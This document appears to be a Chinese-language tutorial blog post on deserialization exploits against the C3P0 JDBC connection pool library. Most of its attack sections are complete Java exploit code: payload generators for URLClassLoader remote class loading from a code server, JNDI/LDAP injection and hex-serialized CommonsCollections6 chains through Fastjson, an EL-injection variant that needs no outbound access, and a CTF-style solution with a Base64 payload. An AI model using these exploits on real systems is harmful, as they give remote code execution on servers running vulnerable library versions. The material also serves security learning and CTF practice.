C3P0反序列化漏洞

0x01 C3P0组件介绍

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等。
JDBC是Java Database Connectivity的缩写,它是Java程序访问数据库的标准接口。
使用Java程序访问数据库时,Java代码并不是直接通过TCP连接去访问数据库,而是通过JDBC接口来访问,而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。
连接池类似于线程池,在一些情况下我们会频繁的操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。
简单来说,C3P0属于JDBC的一部分和Druid差不多

0x02 C3P0 反序列化漏洞

pom.xml

1
2
3
4
5
<dependency>  
    <groupId>com.mchange</groupId>  
    <artifactId>c3p0</artifactId>  
    <version>0.9.5.2</version>  
</dependency>  

C3P0反序列化三条Gadgets

  • URLClassLoader远程类加载
  • JNDI注入
  • 利用HEX序列化字节加载器进行反序列化攻击

C3P0之URLClassLoader的链子

流程分析

ReferenceableUtils,当中的referenceToObject()方法调用了URLClassLoader加载类的方法
最后还有类的加载instance(),继续往上找,应该是去找谁调用了ReferenceableUtils.referenceToObject()
ReferenceIndirector类的getObject()方法调用了ReferenceUtils.referenceToObject(),继续往上找
PoolBackedDataSourceBase#readObject()调用了ReferenceSerialized#getObject(),同时这也正好是一个入口类
readObject()方法中
反序列化的类必须是IndirectlySerialized这个类或者其子类
那我们如何控制这个类是IndirectlySerialized这个类或者其子类呢?
readObject()肯定有writeObject()
writeObject中会序列化connectionPoolDataSouce类,但是由于该接口无法被序列化。
所以会进入到catch语句中,对connectionPoolDataSouce进行了一层indirectForm包装
返回了一个ReferenceSerialized类,正好继承了IndirectlySerialized类,满足了readObject()方法
而恰好也是需要调用到ReferenceSerialized类中的getObject()方法,所以直接调用自定义的writeObject()方法

EXP编写

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;    
    
import java.io.*;    
import java.lang.reflect.Field;    
import javax.naming.NamingException;    
import javax.naming.Reference;    
import javax.naming.Referenceable;    
import javax.sql.ConnectionPoolDataSource;    
import javax.sql.PooledConnection;    
import java.sql.SQLException;    
import java.sql.SQLFeatureNotSupportedException;    
import java.util.logging.Logger;    
    
public class c3p0 {    
    public static class evil implements ConnectionPoolDataSource, Referenceable{    
        @Override    
        public Reference getReference() throws NamingException {    
            return new Reference("Calc","Calc","http://127.0.0.1:8088");    
        }    
    
        @Override    
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {    
            return null;    
        }    
    
        @Override    
        public PooledConnection getPooledConnection() throws SQLException {    
            return null;    
        }    
    
        @Override    
        public PrintWriter getLogWriter() throws SQLException {    
            return null;    
        }    
    
        @Override    
        public void setLogWriter(PrintWriter out) throws SQLException {    
    
        }    
    
        @Override    
        public void setLoginTimeout(int seconds) throws SQLException {    
    
        }    
    
        @Override    
        public int getLoginTimeout() throws SQLException {    
            return 0;    
        }    
    
        @Override    
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {    
            return null;    
        }    
    }    
    public static void main(String[] args) throws Exception{    
        PoolBackedDataSourceBase pds = new PoolBackedDataSourceBase(false);    
        Class cl = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");    
        Field connectionPoolDataSourceField = cl.getDeclaredField("connectionPoolDataSource");    
        connectionPoolDataSourceField.setAccessible(true);    
        connectionPoolDataSourceField.set(pds, new evil());    
    
        //ByteArrayOutputStream baos = new ByteArrayOutputStream();    
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./src/main/resources/calc.obj"));    
        oos.writeObject(pds);    
    
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("./src/main/resources/calc.obj"));    
        ois.readObject();    
    
    
    }    
}  

C3P0之JNDI注入

流程分析

基于FastJson的一条链子
全局搜索一下jndi
dereference()方法中存在ctx.lookup()
这里的lookup()的变量是jndiName,跟进去看一下jndiName是什么
判断了一下jndiName是什么Name类型,如果是就返回,不是就返回String类型
查找一下哪里用了dereference()函数
inner()方法中利用了,继续查找
有很多getter/setter方法利用了inner()函数,恰好满足了fastjson的利用要求

EXP编写

引入fastjson,构造exp

1
2
3
4
5
<dependency>    
    <groupId>com.alibaba</groupId>    
    <artifactId>fastjson</artifactId>    
    <version>1.2.24</version>    
]]</dependency>  
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import com.alibaba.fastjson.JSON;    
    
// JndiRefForwardingDataSource 类的直接 EXP 调用    
public class JndiFastjson {    
    public static void main(String[] args) {    
        String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\"," +    
                "\"jndiName\":\"ldap://127.0.0.1:1389/5fwc3t\",\"LoginTimeout\":\"1\"}";    
        JSON.parse(payload);    
    }    
}  

C3P0之hexbase攻击利用

流程分析

这条链子能够成立的根本原因是,有一个WarpperConnectionPoolDataSouce类,它能够反序列化一串十六进制字符串
链子首部是在WarpperConnectionPoolDataSouce类的构造函数中,如图
在给userOverrides赋值的时候,用的是C3P0ImplUtils.parseUserOverridesAsString()方法,这个方法的作用就是反序列化userOverride把它这个String类型的东西转换为对象
它这里把hex字符串读了进来,把转码后的结果保存到了serBytes这个字节流的数组中,这个字节流是拿去进行SerializableUtils.formByteArray()的操作,值得注意的是,在解析过程中调用了substring()方法将字符串头部的HASH_HEADER截去了,因此我们在构造时需要在十六进制字符串头部加上HASH_HEADER,并且会截去字符串最后一位,所以需要在末尾加上一个;
SerializableUtils#fromByteArray()调用了SerializableUtils#deserializeFromByteArray,跟进,看到了反序列化的操作readObject()

EXP编写

在链子的第一步看到传入的是this.getUserOvveridesAsString(),所以用FastJson去打
直接用之前的CC6链即可
引入commons-collections

1
2
3
4
5
<dependency>    
 <groupId>commons-collections</groupId>    
 <artifactId>commons-collections</artifactId>    
 <version>3.2.1</version>    
</dependency>  
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import com.alibaba.fastjson.JSON;    
import org.apache.commons.collections.Transformer;    
import org.apache.commons.collections.functors.ChainedTransformer;    
import org.apache.commons.collections.functors.ConstantTransformer;    
import org.apache.commons.collections.functors.InvokerTransformer;    
import org.apache.commons.collections.keyvalue.TiedMapEntry;    
import org.apache.commons.collections.map.LazyMap;    
    
import java.beans.PropertyVetoException;    
import java.io.ByteArrayOutputStream;    
import java.io.IOException;    
import java.io.ObjectOutputStream;    
import java.io.StringWriter;    
import java.lang.reflect.Field;    
import java.util.HashMap;    
import java.util.Map;    
    
public class HexBaseExp {    
    //CC6的利用链    
    public static Map CC6() throws NoSuchFieldException, IllegalAccessException {    
        //使用InvokeTransformer包装一下    
        Transformer[] transformers = new Transformer[]{    
                new ConstantTransformer(Runtime.class),    
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),    
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),    
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})    
        };    
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);    
        HashMap<Object, Object> hashMap = new HashMap<>();    
        Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器    
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");    
        HashMap<Object, Object> expMap = new HashMap<>();    
        expMap.put(tiedMapEntry, "value");    
        lazyMap.remove("key");    
    
        // 在 put 之后通过反射修改值    
        Class<LazyMap> lazyMapClass = LazyMap.class;    
        Field factoryField = lazyMapClass.getDeclaredField("factory");    
        factoryField.setAccessible(true);    
        factoryField.set(lazyMap, chainedTransformer);    
    
        return expMap;    
    }    
    
    
    static void addHexAscii(byte b, StringWriter sw)    
    {    
        int ub = b & 0xff;    
        int h1 = ub / 16;    
        int h2 = ub % 16;    
        sw.write(toHexDigit(h1));    
        sw.write(toHexDigit(h2));    
    }    
    
    private static char toHexDigit(int h)    
    {    
        char out;    
        if (h <= 9) out = (char) (h + 0x30);    
        else out = (char) (h + 0x37);    
        //System.err.println(h + ": " + out);    
        return out;    
    }    
    
    //将类序列化为字节数组    
    public static byte[] tobyteArray(Object o) throws IOException {    
        ByteArrayOutputStream bao = new ByteArrayOutputStream();    
        ObjectOutputStream oos = new ObjectOutputStream(bao);    
        oos.writeObject(o);    
        return bao.toByteArray();    
    }    
    
    //字节数组转十六进制    
    public static String toHexAscii(byte[] bytes)    
    {    
        int len = bytes.length;    
        StringWriter sw = new StringWriter(len * 2);    
        for (int i = 0; i < len; ++i)    
            addHexAscii(bytes[i], sw);    
        return sw.toString();    
    }    
    
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException {    
        String hex = toHexAscii(tobyteArray(CC6()));    
        System.out.println(hex);    
    
        //Fastjson<1.2.47    
        String payload = "{" +    
                "\"1\":{" +    
                "\"@type\":\"java.lang.Class\"," +    
                "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +    
                "}," +    
                "\"2\":{" +    
                "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +    
                "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +    
                "}" +    
                "}";    
        JSON.parse(payload);    
    }    
}  

这里利用FastJson构造了两次
在给UserOverridesAsString赋值的时候做了一次判断
所以在第二次赋值的时候才能真正赋值上去。

C3P0链子的不出网利用

在JNDI高版本利用中,可以加载本地的Factory类进行攻击,而利用条件之一就是该工厂类至少存在一个getObjectInstance()方法。比如通过加载Tomcat8中的org.apache.naming.factory.BeanFactory进行EL表达式注入
导入依赖

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<dependency>    
    <groupId>org.apache.tomcat</groupId>    
    <artifactId>tomcat-catalina</artifactId>    
    <version>8.5.0</version>    
</dependency>    
<dependency>    
    <groupId>org.apache.tomcat.embed</groupId>    
    <artifactId>tomcat-embed-el</artifactId>    
    <version>8.5.15</version>    
</dependency>  

C3P0链子的不出网利用分析与EXP

已经确定是想通过EL表达式注入的方式攻击了,我们需要先选择攻击的链子。
选择URLClassLoader的链子,把之前URLClassLoader的EXP进行一些修改即可

1
2
3
4
5
6
 public Reference getReference() throws NamingException {      
            ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);      
            resourceRef.add(new StringRefAddr("forceString", "faster=eval"));      
            resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"open -a Calculator\")"));      
            return resourceRef;      
        }  

例题

存在反序列化漏洞,但是禁止使用ldap
看一下lib
存在C3P0直接打
构造exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;    
import java.io.*;    
import java.lang.reflect.Field;    
import javax.naming.NamingException;    
import javax.naming.Reference;    
import javax.naming.Referenceable;    
import javax.sql.ConnectionPoolDataSource;    
import javax.sql.PooledConnection;    
import java.sql.SQLException;    
import java.sql.SQLFeatureNotSupportedException;    
import java.util.Base64;    
import java.util.logging.Logger;    
    
public class c3p0 {    
    public static class evil implements ConnectionPoolDataSource, Referenceable{    
        @Override    
        public Reference getReference() throws NamingException {    
            return new Reference("Calc","Calc","http://10.216.7.79:8088/");    
        }    
    
        @Override    
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {    
            return null;    
        }    
    
        @Override    
        public PooledConnection getPooledConnection() throws SQLException {    
            return null;    
        }    
    
        @Override    
        public PrintWriter getLogWriter() throws SQLException {    
            return null;    
        }    
    
        @Override    
        public void setLogWriter(PrintWriter out) throws SQLException {    
    
        }    
    
        @Override    
        public void setLoginTimeout(int seconds) throws SQLException {    
    
        }    
    
        @Override    
        public int getLoginTimeout() throws SQLException {    
            return 0;    
        }    
    
        @Override    
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {    
            return null;    
        }    
    }    
    public static void main(String[] args) throws Exception{    
        PoolBackedDataSourceBase pds = new PoolBackedDataSourceBase(false);    
        Class cl = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");    
        Field connectionPoolDataSourceField = cl.getDeclaredField("connectionPoolDataSource");    
        connectionPoolDataSourceField.setAccessible(true);    
        connectionPoolDataSourceField.set(pds, new evil());    
    
        ByteArrayOutputStream baos = new ByteArrayOutputStream();    
        ObjectOutputStream oos = new ObjectOutputStream(baos);    
        oos.writeObject(pds);    
        Base64.Encoder encoder = Base64.getEncoder();    
        System.out.println(encoder.encodeToString(baos.toByteArray()));    
    
    }    
}  

Calc.java

1
2
3
4
5
public class Calc {    
    public Calc() throws Exception{    
        Runtime.getRuntime().exec("touch /tmp/success");    
    }    
}  

0%